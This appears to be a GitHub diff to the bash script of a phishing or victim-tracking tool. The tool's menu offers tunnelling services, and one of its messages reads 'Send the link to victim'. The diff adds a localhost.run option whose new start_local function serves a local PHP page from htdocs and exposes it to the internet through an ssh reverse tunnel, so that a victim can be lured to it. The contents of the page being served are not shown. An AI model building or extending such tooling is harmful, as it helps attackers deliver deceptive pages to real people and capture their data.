File tree Expand file tree Collapse file tree 1 file changed +24
-3
lines changed Expand file tree Collapse file tree 1 file changed +24
-3
lines changed Original file line number Diff line number Diff line change 209209printf " \n"
210210printf " \e[96m[\e[0m\e[1;77m01\e[96m]\e[0m\e[1;93m Ngrok.io\e[0m\n"
211211printf " \e[96m[\e[0m\e[1;77m02\e[96m]\e[0m\e[1;93m Serveo.net\e[0m\n"
212- printf " \e[96m[\e[0m\e[1;77m03\e[96m]\e[0m\e[1;93m Localhost.run \e[0m\e[1;92m(Coming soon) \e[0m\n"
212+ printf " \e[96m[\e[0m\e[1;77m03\e[96m]\e[0m\e[1;93m Localhost.run\e[0m\n"
213213d_o_server=" 2"
214214printf " \e[0m\n"
215215read -p $' \e [96m[\e [0m\e [1;77m~\e [96m]\e [0m\e [1;92m Select a Port Forwarding option: \e [0m\e [1;96m\e n' option_server
216216option_server=" ${option_server:- ${d_o_server} } "
217217if [[ $option_server == 2 || $option_server == 02 ]]; then
218218start_s
219-
220219elif [[ $option_server == 1 || $option_server == 01 ]]; then
221220start_n
221+ elif [[ $option_server == 3 || $option_server == 03 ]]; then
222+ start_local
222223else
223224printf " \e[1;93m [!] Invalid option [!]\e[0m\n"
224225sleep 1
@@ -323,7 +324,27 @@ ngrok_link=$(curl -s -N http://127.0.0.1:4041/api/tunnels | grep -o "https://[0-
323324printf " \n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $ngrok_link
324325found
325326}
326-
327+ start_local (){
328+ def_port=" 5555"
329+ printf " \e[0m\n"
330+ printf ' \e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Select a Port (Default:\e[0m\e[1;96m %s \e[0m\e[1;92m): \e[0m\e[1;96m' $def_port
331+ read port
332+ port=" ${port:- ${def_port} } "
333+ printf " \e[0m\n"
334+ printf " \e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Initializing...\e[0m\e[1;92m(\e[0m\e[1;96mlocalhost:$port \e[0m\e[1;92m)\e[0m\n"
335+ cd htdocs && php -S 127.0.0.1:$port > /dev/null 2>&1 &
336+ sleep 2
337+ printf " \e[0m\n"
338+ printf " \e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Launching LocalHostRun ..\e[0m\n"
339+ printf " \n"
340+ if [[ -e linksender ]]; then
341+ rm -rf linksender
342+ fi
343+ printf " \n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Press Ctrl + C to exit.\e[0m\n"
344+ printf " \e[1;93m\n"
345+ ssh -R 80:localhost:$port ssh.localhost.run 2>&1
346+ printf " \e[0m\n"
347+ }
327348found () {
328349
329350printf " \n"
You can’t perform that action at this time.
0 commit comments